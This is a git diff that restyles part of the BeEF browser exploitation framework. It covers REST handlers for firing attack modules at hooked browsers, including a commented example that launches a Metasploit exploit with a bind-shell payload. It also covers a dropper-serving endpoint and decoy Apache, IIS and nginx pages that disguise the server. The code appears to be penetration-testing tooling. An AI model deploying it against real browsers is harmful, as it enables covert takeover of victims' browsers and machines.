/api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + # Host: 127.0.0.1:3000 + # Content-Type: application/json; charset=UTF-8 + # Content-Length: 18 # - #{"text":"michele"} + # {"text":"michele"} #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 - #Content-Length: 35 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 + # Content-Length: 35 # - #{"success":"true","command_id":"1"} + # {"success":"true","command_id":"1"} # # +++ Example with a Metasploit module (Adobe FlateDecode Stream Predictor 02 Integer Overflow) +++ # +++ note that in this case we cannot query BeEF/Metasploit if module execution was successful or not. # +++ this is why there is "command_id":"not_available" in the response - #POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/236?token=83f13036060fd7d92440432dd9a9b5e5648f8d75 HTTP/1.1 - #Host: 127.0.0.1:3000 - #Content-Type: application/json; charset=UTF-8 - #Content-Length: 81 + # POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/236?token=83f13036060fd7d92440432dd9a9b5e5648f8d75 HTTP/1.1 + # Host: 127.0.0.1:3000 + # Content-Type: application/json; charset=UTF-8 + # Content-Length: 81 # - #{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"} + # {"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"} #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 - #Content-Length: 35 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 + # Content-Length: 35 # - #{"success":"true","command_id":"not_available"} + # {"success":"true","command_id":"not_available"} # post '/:session/:mod_id' do - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first - error 401 unless hb != nil + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first + error 401 if hb.nil? modk = BeEF::Module.get_key_by_database_id(params[:mod_id]) - error 404 unless modk != nil + error 404 if modk.nil? request.body.rewind begin data = JSON.parse request.body.read options = [] - data.each{|k,v| options.push({'name' => k, 'value' => v})} + data.each { |k, v| options.push({ 'name' => k, 'value' => v }) } exec_results = BeEF::Module.execute(modk, params[:session], options) - exec_results != nil ? '{"success":"true","command_id":"'+exec_results.to_s+'"}' : '{"success":"false"}' - rescue => e + exec_results.nil? ? '{"success":"false"}' : '{"success":"true","command_id":"' + exec_results.to_s + '"}' + rescue StandardError print_error "Invalid JSON input for module '#{params[:mod_id]}'" error 400 # Bad Request end end # - #@note Fire a new command module to multiple hooked browsers. + # @note Fire a new command module to multiple hooked browsers. # Returns the command IDs of the launched module, or 0 if firing got issues. # Use "hb_ids":["ALL"] to run on all hooked browsers # Use "hb_ids":["ALL_ONLINE"] to run on all hooked browsers currently online @@ -174,7 +172,7 @@ module BeEF # # curl example (alert module with custom text, 2 hooked browsers)): # - #curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"mucci?"},"hb_ids":[1,2]}' + # curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"mucci?"},"hb_ids":[1,2]}' #-X POST http://127.0.0.1:3000/api/modules/multi_browser?token=2316d82702b83a293e2d46a0886a003a6be0a633 # post '/multi_browser' do @@ -182,34 +180,35 @@ module BeEF begin body = JSON.parse request.body.read - modk = BeEF::Module.get_key_by_database_id body["mod_id"] - error 404 unless modk != nil + modk = BeEF::Module.get_key_by_database_id body['mod_id'] + error 404 if modk.nil? mod_params = [] - if body["mod_params"] != nil - body["mod_params"].each{|k,v| - mod_params.push({'name' => k, 'value' => v}) - } + unless body['mod_params'].nil? + body['mod_params'].each do |k, v| + mod_params.push({ 'name' => k, 'value' => v }) + end end - hb_ids = body["hb_ids"] - results = Hash.new + hb_ids = body['hb_ids'] + results = {} # run on all hooked browsers currently online? if hb_ids.first =~ /\Aall_online\z/i hb_ids = [] BeEF::Core::Models::HookedBrowser.where( - :lastseen.gte => (Time.new.to_i - 15)).each {|hb| hb_ids << hb.id } + :lastseen.gte => (Time.new.to_i - 15) + ).each { |hb| hb_ids << hb.id } # run on all hooked browsers? elsif hb_ids.first =~ /\Aall\z/i hb_ids = [] - BeEF::Core::Models::HookedBrowser.all.each {|hb| hb_ids << hb.id } + BeEF::Core::Models::HookedBrowser.all.each { |hb| hb_ids << hb.id } end # run modules hb_ids.each do |hb_id| hb = BeEF::Core::Models::HookedBrowser.find(hb_id) - if hb == nil + if hb.nil? results[hb_id] = 0 next else @@ -218,8 +217,8 @@ module BeEF end end results.to_json - rescue => e - print_error "Invalid JSON input passed to endpoint /api/modules/multi_browser" + rescue StandardError + print_error 'Invalid JSON input passed to endpoint /api/modules/multi_browser' error 400 # Bad Request end end @@ -228,7 +227,7 @@ module BeEF # Returns the command IDs of the launched modules, or 0 if firing got issues. # # POST request body example (for modules that don't need parameters, just pass an empty JSON object like {} ) - #{ "hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj", + # { "hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj", # "modules": [ # { # test_return_long_string module with custom input # "mod_id":99, @@ -248,7 +247,7 @@ module BeEF # # curl example (test_return_long_string and prompt_dialog module with custom inputs)): # - #curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj", + # curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj", # "modules":[{"mod_id":99,"mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]},{"mod_id":116,"mod_input":[{"question":"hooked?"}]},{"mod_id":128,"mod_input":[]}]}' # -X POST http://127.0.0.1:3000/api/modules/multi_module?token=e640483ae9bca2eb904f003f27dd4bc83936eb92 # @@ -256,32 +255,32 @@ module BeEF request.body.rewind begin body = JSON.parse request.body.read - hb = BeEF::Core::Models::HookedBrowser.where(:session => body["hb"]).first - error 401 unless hb != nil + hb = BeEF::Core::Models::HookedBrowser.where(session: body['hb']).first + error 401 if hb.nil? - results = Hash.new - if body["modules"] != nil - body["modules"].each{|mod| - mod_id = mod["mod_id"] - mod_k = BeEF::Module.get_key_by_database_id mod["mod_id"] - if mod_k == nil + results = {} + unless body['modules'].nil? + body['modules'].each do |mod| + mod_id = mod['mod_id'] + mod_k = BeEF::Module.get_key_by_database_id mod['mod_id'] + if mod_k.nil? results[mod_id] = 0 next else mod_params = [] - mod["mod_input"].each{|input| - input.each{|k,v| - mod_params.push({'name' => k, 'value' => v}) - } - } + mod['mod_input'].each do |input| + input.each do |k, v| + mod_params.push({ 'name' => k, 'value' => v }) + end + end cmd_id = BeEF::Module.execute(mod_k, hb.session, mod_params) results[mod_id] = cmd_id end - } + end end results.to_json - rescue => e - print_error "Invalid JSON input passed to endpoint /api/modules/multi" + rescue StandardError + print_error 'Invalid JSON input passed to endpoint /api/modules/multi' error 400 # Bad Request end end diff --git a/core/main/rest/handlers/server.rb b/core/main/rest/handlers/server.rb index 042b63bc7..e2bd4d2ec 100644 --- a/core/main/rest/handlers/server.rb +++ b/core/main/rest/handlers/server.rb @@ -8,20 +8,18 @@ module BeEF module Core module Rest class Server < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance http_server = BeEF::Core::Server.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end - # @note Binds a local file to a specified path in BeEF's web server # Note: 'local_file' expects a file from the /extensions/social_engineering/droppers directory. # Example usage: @@ -35,17 +33,17 @@ module BeEF mount = data['mount'] local_file = data['local_file'] - droppers_dir = File.expand_path('..', __FILE__) + "/../../../../extensions/social_engineering/droppers/" + droppers_dir = "#{File.expand_path(__dir__)}/../../../../extensions/social_engineering/droppers/" - if File.exists?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file) - f_ext = File.extname(local_file).gsub('.','') + if File.exist?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file) + f_ext = File.extname(local_file).gsub('.', '') f_ext = nil if f_ext.empty? BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind("/extensions/social_engineering/droppers/#{local_file}", mount, f_ext) status 200 else halt 400 end - rescue => e + rescue StandardError error 400 end end diff --git a/core/main/router/api.rb b/core/main/router/api.rb index 94d9868f4..972dea893 100644 --- a/core/main/router/api.rb +++ b/core/main/router/api.rb @@ -6,7 +6,6 @@ module BeEF module Core module Router - module RegisterRouterHandler def self.mount_handler(server) server.mount('/', BeEF::Core::Router::Router.new) @@ -14,7 +13,6 @@ module BeEF end BeEF::API::Registrar.instance.register(BeEF::Core::Router::RegisterRouterHandler, BeEF::API::Server, 'mount_handler') - end end end diff --git a/core/main/router/error_responses.rb b/core/main/router/error_responses.rb index 584e5ef80..34c3d6631 100644 --- a/core/main/router/error_responses.rb +++ b/core/main/router/error_responses.rb @@ -1,68 +1,66 @@ module BeEF module Core module Router - config = BeEF::Core::Configuration.instance - APACHE_HEADER = { "Server" => "Apache/2.2.3 (CentOS)", - "Content-Type" => "text/html; charset=UTF-8" } - APACHE_BODY = "" + - "" + - "404 Not Found" + - "" + - "

Not Found

" + - "

The requested URL was not found on this server.

" + - "
" + - "
Apache/2.2.3 (CentOS)
" + - ("" if config.get("beef.http.web_server_imitation.hook_404")).to_s + - "" - IIS_HEADER = {"Server" => "Microsoft-IIS/6.0", - "X-Powered-By" => "ASP.NET", - "Content-Type" => "text/html; charset=UTF-8"} - IIS_BODY = "" + - "The page cannot be found" + - "" + - "" + - "
" + - "

The page cannot be found

" + - "The page you are looking for might have been removed, had its name changed, or is temporarily unavailable." + - "
" + - "

Please try the following:

" + - "
    " + - "
  • Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.
  • " + - "
  • If you reached this page by clicking a link, contact" + - " the Web site administrator to alert them that the link is incorrectly formatted." + - "
  • " + - "
  • Click the Back button to try another link.
  • " + - "
" + - "

HTTP Error 404 - File or directory not found.
Internet Information Services (IIS)

" + - "
" + - "

Technical Information (for support personnel)

" + - "
    " + - "
  • Go to Microsoft Product Support Services and perform a title search for the words HTTP and 404.
  • " + - "
  • Open IIS Help, which is accessible in IIS Manager (inetmgr)," + - "and search for topics titled Web Site Setup, Common Administrative Tasks, and About Custom Error Messages.
  • " + - "
" + - "
" + - ("" if config.get("beef.http.web_server_imitation.hook_404")).to_s + - "" - NGINX_HEADER = {"Server" => "nginx", - "Content-Type" => "text/html"} - NGINX_BODY = "\n"+ - "404 Not Found\n" + - "\n" + - "

404 Not Found

\n" + - "
nginx
\n" + - ("" if config.get("beef.http.web_server_imitation.hook_404")).to_s + - "\n" + - "\n" - + APACHE_HEADER = { 'Server' => 'Apache/2.2.3 (CentOS)', + 'Content-Type' => 'text/html; charset=UTF-8' }.freeze + APACHE_BODY = '' \ + '' \ + '404 Not Found' \ + '' \ + '

Not Found

' \ + '

The requested URL was not found on this server.

' \ + '
' \ + '
Apache/2.2.3 (CentOS)
' + + ("" if config.get('beef.http.web_server_imitation.hook_404')).to_s + + '' + IIS_HEADER = { 'Server' => 'Microsoft-IIS/6.0', + 'X-Powered-By' => 'ASP.NET', + 'Content-Type' => 'text/html; charset=UTF-8' }.freeze + IIS_BODY = '' \ + 'The page cannot be found' \ + '' \ + '' \ + '
' \ + '

The page cannot be found

' \ + 'The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.' \ + '
' \ + '

Please try the following:

' \ + '
    ' \ + '
  • Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.
  • ' \ + '
  • If you reached this page by clicking a link, contact' \ + ' the Web site administrator to alert them that the link is incorrectly formatted.' \ + '
  • ' \ + '
  • Click the Back button to try another link.
  • ' \ + '
' \ + '

HTTP Error 404 - File or directory not found.
Internet Information Services (IIS)

' \ + '
' \ + '

Technical Information (for support personnel)

' \ + '
    ' \ + '
  • Go to Microsoft Product Support Services and perform a title search for the words HTTP and 404.
  • ' \ + '
  • Open IIS Help, which is accessible in IIS Manager (inetmgr),' \ + 'and search for topics titled Web Site Setup, Common Administrative Tasks, and About Custom Error Messages.
  • ' \ + '
' \ + '
' + + ("" if config.get('beef.http.web_server_imitation.hook_404')).to_s + + '' + NGINX_HEADER = { 'Server' => 'nginx', + 'Content-Type' => 'text/html' }.freeze + NGINX_BODY = "\n" \ + "404 Not Found\n" \ + "\n" \ + "

404 Not Found

\n" \ + "
nginx
\n" + + ("" if config.get('beef.http.web_server_imitation.hook_404')).to_s + + "\n" \ + "\n" end end end diff --git a/core/main/router/router.rb b/core/main/router/router.rb index 5aa7dc974..915221b99 100644 --- a/core/main/router/router.rb +++ b/core/main/router/router.rb @@ -7,11 +7,9 @@ module BeEF module Core module Router - - #@note This is the main Router parent class. - #@note All the HTTP handlers registered on BeEF will extend this class. + # @note This is the main Router parent class. + # @note All the HTTP handlers registered on BeEF will extend this class. class Router < Sinatra::Base - config = BeEF::Core::Configuration.instance configure do set :show_exceptions, false @@ -19,240 +17,239 @@ module BeEF # @note Override default 404 HTTP response not_found do - if config.get("beef.http.web_server_imitation.enable") - type = config.get("beef.http.web_server_imitation.type") + if config.get('beef.http.web_server_imitation.enable') + type = config.get('beef.http.web_server_imitation.type') case type - when "apache" - #response body - BeEF::Core::Router::APACHE_BODY - when "iis" - #response body - BeEF::Core::Router::IIS_BODY - when "nginx" - #response body - BeEF::Core::Router::NGINX_BODY - else - "Not Found." + when 'apache' + # response body + BeEF::Core::Router::APACHE_BODY + when 'iis' + # response body + BeEF::Core::Router::IIS_BODY + when 'nginx' + # response body + BeEF::Core::Router::NGINX_BODY + else + 'Not Found.' end else - "Not Found." + 'Not Found.' end end before do # @note Override Server HTTP response header - if config.get("beef.http.web_server_imitation.enable") - type = config.get("beef.http.web_server_imitation.type") + if config.get('beef.http.web_server_imitation.enable') + type = config.get('beef.http.web_server_imitation.type') case type - when "apache" - headers BeEF::Core::Router::APACHE_HEADER - when "iis" - headers BeEF::Core::Router::IIS_HEADER - when "nginx" - headers BeEF::Core::Router::NGINX_HEADER - else - headers "Server" => '', - "Content-Type" => "text/html" - print_error "You have an error in beef.http.web_server_imitation.type!" - print_more "Supported values are: apache, iis, nginx." + when 'apache' + headers BeEF::Core::Router::APACHE_HEADER + when 'iis' + headers BeEF::Core::Router::IIS_HEADER + when 'nginx' + headers BeEF::Core::Router::NGINX_HEADER + else + headers 'Server' => '', + 'Content-Type' => 'text/html' + print_error 'You have an error in beef.http.web_server_imitation.type!' + print_more 'Supported values are: apache, iis, nginx.' end end # @note If CORS is enabled, expose the appropriate headers - if config.get("beef.http.restful_api.allow_cors") - allowed_domains = config.get("beef.http.restful_api.cors_allowed_domains") + if config.get('beef.http.restful_api.allow_cors') + allowed_domains = config.get('beef.http.restful_api.cors_allowed_domains') # Responses to preflight OPTIONS requests need to respond with hTTP 200 # and be able to handle requests with a JSON content-type if request.request_method == 'OPTIONS' - headers "Access-Control-Allow-Origin" => allowed_domains, - "Access-Control-Allow-Methods" => "POST, GET", - "Access-Control-Allow-Headers" => "Content-Type" + headers 'Access-Control-Allow-Origin' => allowed_domains, + 'Access-Control-Allow-Methods' => 'POST, GET', + 'Access-Control-Allow-Headers' => 'Content-Type' halt 200 end - headers "Access-Control-Allow-Origin" => allowed_domains, - "Access-Control-Allow-Methods" => "POST, GET" + headers 'Access-Control-Allow-Origin' => allowed_domains, + 'Access-Control-Allow-Methods' => 'POST, GET' end end # @note Default root page - get "/" do - if config.get("beef.http.web_server_imitation.enable") - bp = config.get "beef.extension.admin_ui.base_path" - type = config.get("beef.http.web_server_imitation.type") + get '/' do + if config.get('beef.http.web_server_imitation.enable') + bp = config.get 'beef.extension.admin_ui.base_path' + type = config.get('beef.http.web_server_imitation.type') case type - when "apache" - "" + - "" + - "Apache HTTP Server Test Page powered by CentOS" + - "" + - " " + - " " + - " " + - "

Apache 2 Test Page
powered by CentOS

" + - "
" +"
" + - "

This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page it means that the Apache HTTP server installed at this site is working properly.

" + - "
" + - "
" + - "
" + - "
" + - "

If you are a member of the general public:

" + - "

The fact that you are seeing this page indicates that the website you just visited is either experiencing problems or is undergoing routine maintenance.

" + - "

If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name \"webmaster\" and directed to the website's domain should reach the appropriate person.

" + - "

For example, if you experienced problems while visiting www.example.com, you should send e-mail to \"webmaster@example.com\".

" + - "
" + - "
" + - "

If you are the website administrator:

" + - "

You may now add content to the directory /var/www/html/. Note that until you do so, people visiting your website will see this page and not your content. To prevent this page from ever being used, follow the instructions in the file /etc/httpd/conf.d/welcome.conf.

" + - "

You are free to use the images below on Apache and CentOS Linux powered HTTP servers. Thanks for using Apache and CentOS!

" + - "

\"[ \"[

" + - "
" + - "
" + - "
" + - "
" + - "

About CentOS:

The Community ENTerprise Operating System (CentOS) is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor. CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. (CentOS mainly changes packages to remove upstream vendor branding and artwork.) The CentOS Project is the organization that builds CentOS.

" + - "

For information on CentOS please visit the CentOS website.

" + - "

Note:

CentOS is an Operating System and it is used to power this website; however, the webserver is owned by the domain owner and not the CentOS Project. If you have issues with the content of this site, contact the owner of the domain, not the CentOS project." + - "

Unless this server is on the CentOS.org domain, the CentOS Project doesn't have anything to do with the content on this webserver or any e-mails that directed you to this site.

" + - "

For example, if this website is www.example.com, you would find the owner of the example.com domain at the following WHOIS server:

" + - "

http://www.internic.net/whois.html

" + - "
" + - "
" + - ("" if config.get("beef.http.web_server_imitation.hook_root")).to_s + - "" + - "" - when "iis" - "" + - "" + - "" + - "Under Construction" + - "" + - "" + - "" + - "" + - "" + - "" + - "
" + - "" + - "" + - "

" + - "

Under Construction

" + - "

" + - "The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured." + - "

Please try this site again later. If you still experience the problem, try contacting the Web site administrator." + - "


" + - "

If you are the Web site administrator and feel you have received this message in error, please see "Enabling and Disabling Dynamic Content" in IIS Help." + - "

To access IIS Help
" + - "
    " + - "
  1. Click Start, and then click Run." + - "
  2. In the Open text box, type inetmgr. IIS Manager appears." + - "
  3. From the Help menu, click Help Topics." + - "
  4. Click Internet Information Services.
" + - "
" + - ("" if config.get("beef.http.web_server_imitation.hook_root")).to_s + - "" + - "" - when "nginx" - "\n" + - "\n" + - "\n" + - "Welcome to nginx!\n" + - "\n" + - "\n" + - "\n" + - "

Welcome to nginx!

\n" + - "

If you see this page, the nginx web server is successfully installed and\n" + - "working. Further configuration is required.

\n\n" + - "

For online documentation and support please refer to\n" + - "nginx.org.
\n" + - "Commercial support is available at\n" + - "nginx.com.

\n\n" + - "

Thank you for using nginx.

\n" + - ("" if config.get("beef.http.web_server_imitation.hook_root")).to_s + - "\n" + - "\n" - else - "" + when 'apache' + '' \ + '' \ + 'Apache HTTP Server Test Page powered by CentOS' \ + '' \ + ' ' \ + ' ' \ + ' ' \ + '

Apache 2 Test Page
powered by CentOS

' \ + '
' + '
' \ + '

This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page it means that the Apache HTTP server installed at this site is working properly.

' \ + '
' \ + '
' \ + '
' \ + '
' \ + '

If you are a member of the general public:

' \ + '

The fact that you are seeing this page indicates that the website you just visited is either experiencing problems or is undergoing routine maintenance.

' \ + "

If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name \"webmaster\" and directed to the website's domain should reach the appropriate person.

" \ + '

For example, if you experienced problems while visiting www.example.com, you should send e-mail to "webmaster@example.com".

' \ + '
' \ + '
' \ + '

If you are the website administrator:

' \ + '

You may now add content to the directory /var/www/html/. Note that until you do so, people visiting your website will see this page and not your content. To prevent this page from ever being used, follow the instructions in the file /etc/httpd/conf.d/welcome.conf.

' \ + '

You are free to use the images below on Apache and CentOS Linux powered HTTP servers. Thanks for using Apache and CentOS!

' \ + "

\"[ \"[

" \ + '
' \ + '
' \ + '
' \ + '
' \ + '

About CentOS:

The Community ENTerprise Operating System (CentOS) is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor. CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. (CentOS mainly changes packages to remove upstream vendor branding and artwork.) The CentOS Project is the organization that builds CentOS.

' \ + '

For information on CentOS please visit the CentOS website.

' \ + '

Note:

CentOS is an Operating System and it is used to power this website; however, the webserver is owned by the domain owner and not the CentOS Project. If you have issues with the content of this site, contact the owner of the domain, not the CentOS project.' \ + "

Unless this server is on the CentOS.org domain, the CentOS Project doesn't have anything to do with the content on this webserver or any e-mails that directed you to this site.

" \ + '

For example, if this website is www.example.com, you would find the owner of the example.com domain at the following WHOIS server:

' \ + '

http://www.internic.net/whois.html

' \ + '
' \ + '
' + + ("" if config.get('beef.http.web_server_imitation.hook_root')).to_s + + '' \ + '' + when 'iis' + '' \ + '' \ + '' \ + 'Under Construction' \ + '' \ + '' \ + '' \ + '' \ + '' \ + '' \ + '
' \ + "" \ + '' \ + '

' \ + '

Under Construction

' \ + '

' \ + 'The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured.' \ + '

Please try this site again later. If you still experience the problem, try contacting the Web site administrator.' \ + '


' \ + '

If you are the Web site administrator and feel you have received this message in error, please see "Enabling and Disabling Dynamic Content" in IIS Help.' \ + '

To access IIS Help
' \ + '
    ' \ + '
  1. Click Start, and then click Run.' \ + '
  2. In the Open text box, type inetmgr. IIS Manager appears.' \ + '
  3. From the Help menu, click Help Topics.' \ + '
  4. Click Internet Information Services.
' \ + '
' + + ("" if config.get('beef.http.web_server_imitation.hook_root')).to_s + + '' \ + '' + when 'nginx' + "\n" \ + "\n" \ + "\n" \ + "Welcome to nginx!\n" \ + "\n" \ + "\n" \ + "\n" \ + "

Welcome to nginx!

\n" \ + "

If you see this page, the nginx web server is successfully installed and\n" \ + "working. Further configuration is required.

\n\n" \ + "

For online documentation and support please refer to\n" \ + "nginx.org.
\n" \ + "Commercial support is available at\n" \ + "nginx.com.

\n\n" \ + "

Thank you for using nginx.

\n" + + ("" if config.get('beef.http.web_server_imitation.hook_root')).to_s + + "\n" \ + "\n" + else + '' end end end - end end end diff --git a/core/main/server.rb b/core/main/server.rb index fbc7282df..05d7c13ea 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -50,11 +50,11 @@ module BeEF # argument type checking raise TypeError, '"url" needs to be a string' unless url.string? - if args.nil? - @mounts[url] = http_handler_class - else - @mounts[url] = http_handler_class, *args - end + @mounts[url] = if args.nil? + http_handler_class + else + [http_handler_class, *args] + end print_debug "Server: mounted handler '#{url}'" end @@ -65,6 +65,7 @@ module BeEF # def unmount(url) raise TypeError, '"url" needs to be a string' unless url.string? + @mounts.delete url end @@ -80,7 +81,7 @@ module BeEF # def prepare # Create http handler for the javascript hook file - mount(@configuration.get("beef.http.hook_file").to_s, BeEF::Core::Handlers::HookedBrowsers.new) + mount(@configuration.get('beef.http.hook_file').to_s, BeEF::Core::Handlers::HookedBrowsers.new) # Create handler for the initialization checks (Browser Details) mount('/init', BeEF::Core::Handlers::BrowserDetails) @@ -93,7 +94,7 @@ module BeEF return if @http_server - # Set the logging level of Thin to match the config + # Set the logging level of Thin to match the config Thin::Logging.silent = true if @configuration.get('beef.http.debug') == true Thin::Logging.silent = false @@ -104,7 +105,8 @@ module BeEF @http_server = Thin::Server.new( @configuration.get('beef.http.host'), @configuration.get('beef.http.port'), - @rack_app) + @rack_app + ) # Configure SSL/TLS return unless @configuration.get('beef.http.https.enable') == true @@ -116,18 +118,14 @@ module BeEF end cert_key = @configuration.get 'beef.http.https.key' - unless cert_key.start_with? '/' - cert_key = File.expand_path cert_key, $root_dir - end + cert_key = File.expand_path cert_key, $root_dir unless cert_key.start_with? '/' unless File.exist? cert_key print_error "Error: #{cert_key} does not exist" exit 1 end cert = @configuration.get 'beef.http.https.cert' - unless cert.start_with? '/' - cert = File.expand_path cert, $root_dir - end + cert = File.expand_path cert, $root_dir unless cert.start_with? '/' unless File.exist? cert print_error "Error: #{cert} does not exist" exit 1 @@ -135,9 +133,9 @@ module BeEF @http_server.ssl = true @http_server.ssl_options = { - :private_key_file => cert_key, - :cert_chain_file => cert, - :verify_peer => false + private_key_file: cert_key, + cert_chain_file: cert, + verify_peer: false } if Digest::SHA256.hexdigest(File.read(cert)).eql?('978f761fc30cbd174eab0c6ffd2d235849260c0589a99262f136669224c8d82a') || @@ -145,10 +143,10 @@ module BeEF print_warning 'Warning: Default SSL cert/key in use.' print_more 'Use the generate-certificate utility to generate a new certificate.' end - rescue => e + rescue StandardError => e print_error "Failed to prepare HTTP server: #{e.message}" - print_error e.backtrace - exit 1 + print_error e.backtrace + exit 1 end # @@ -161,6 +159,7 @@ module BeEF rescue RuntimeError => e # port is in use raise unless e.message.include? 'no acceptor' + print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}, or you're trying to bind BeEF to an invalid IP." print_error 'Is BeEF already running? Exiting...' exit 127 diff --git a/core/module.rb b/core/module.rb index f1eae70d2..a30e07f3c 100644 --- a/core/module.rb +++ b/core/module.rb @@ -5,7 +5,6 @@ # module BeEF module Module - # Checks to see if module key is in configuration # @param [String] mod module key # @return [Boolean] if the module key exists in BeEF's configuration @@ -37,14 +36,14 @@ module BeEF # Gets all module options # @param [String] mod module key # @return [Hash] a hash of all the module options - # @note API Fire: get_options + # @note API Fire: get_options def self.get_options(mod) if BeEF::API::Registrar.instance.matched? BeEF::API::Module, 'get_options', [mod] options = BeEF::API::Registrar.instance.fire BeEF::API::Module, 'get_options', mod mo = [] options.each do |o| unless o[:data].is_a?(Array) - print_debug "API Warning: return result for BeEF::Module.get_options() was not an array." + print_debug 'API Warning: return result for BeEF::Module.get_options() was not an array.' next end mo += o[:data] @@ -68,9 +67,10 @@ module BeEF # Gets all module payload options # @param [String] mod module key # @return [Hash] a hash of all the module options - # @note API Fire: get_options - def self.get_payload_options(mod,payload) + # @note API Fire: get_options + def self.get_payload_options(mod, payload) return [] unless BeEF::API::Registrar.instance.matched?(BeEF::API::Module, 'get_payload_options', [mod, nil]) + BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'get_payload_options', mod, payload) end @@ -104,8 +104,8 @@ module BeEF # API call for post-soft-load module BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_soft_load', mod) true - rescue => e - print_error "There was a problem soft loading the module '#{mod}'" + rescue StandardError => e + print_error "There was a problem soft loading the module '#{mod}': #{e.message}" false end @@ -143,7 +143,7 @@ module BeEF # API call for post-hard-load module BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_hard_load', mod) true - rescue => e + rescue StandardError => e BeEF::Core::Configuration.instance.set("#{mod_str}.loaded", false) print_error "There was a problem loading the module '#{mod}'" print_debug "Hard load module syntax error: #{e}" @@ -155,6 +155,7 @@ module BeEF # @return [Boolean] if already hard loaded then true otherwise (see #hard_load) def self.check_hard_load(mod) return true if is_loaded mod + hard_load mod end @@ -162,7 +163,7 @@ module BeEF # @param [Integer] id module database ID # @return [String] module key def self.get_key_by_database_id(id) - ret = BeEF::Core::Configuration.instance.get('beef.module').select do |k, v| + ret = BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v| v.key?('db') && v['db']['id'].to_i == id.to_i end ret.is_a?(Array) ? ret.first.first : ret.keys.first @@ -172,7 +173,7 @@ module BeEF # @param [Class] c module class # @return [String] module key def self.get_key_by_class(c) - ret = BeEF::Core::Configuration.instance.get('beef.module').select do |k, v| + ret = BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v| v.key?('class') && v['class'].to_s.eql?(c.to_s) end ret.is_a?(Array) ? ret.first.first : ret.keys.first @@ -180,7 +181,7 @@ module BeEF # Checks to see if module class exists # @param [String] mod module key - # @return [Boolean] returns whether or not the class exists + # @return [Boolean] returns whether or not the class exists def self.exists?(mod) kclass = BeEF::Core::Command.const_get mod.capitalize kclass.is_a? Class @@ -204,7 +205,7 @@ module BeEF return nil unless opts.is_a? Hash unless opts.key? 'browser' - print_error "BeEF::Module.support() was passed a hash without a valid browser constant" + print_error 'BeEF::Module.support() was passed a hash without a valid browser constant' return nil end @@ -217,30 +218,26 @@ module BeEF # if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING # rating += 1 # end - results << {'rating' => 2, 'const' => k} + results << { 'rating' => 2, 'const' => k } end when Hash break if opts['browser'] != v.keys.first && v.keys.first != BeEF::Core::Constants::Browsers::ALL subv = v[v.keys.first] rating = 1 + # version check if opts.key?('ver') if subv.key?('min_ver') - if subv['min_ver'].is_a?(Integer) && opts['ver'].to_i >= subv['min_ver'] - rating += 1 - else - break - end + break 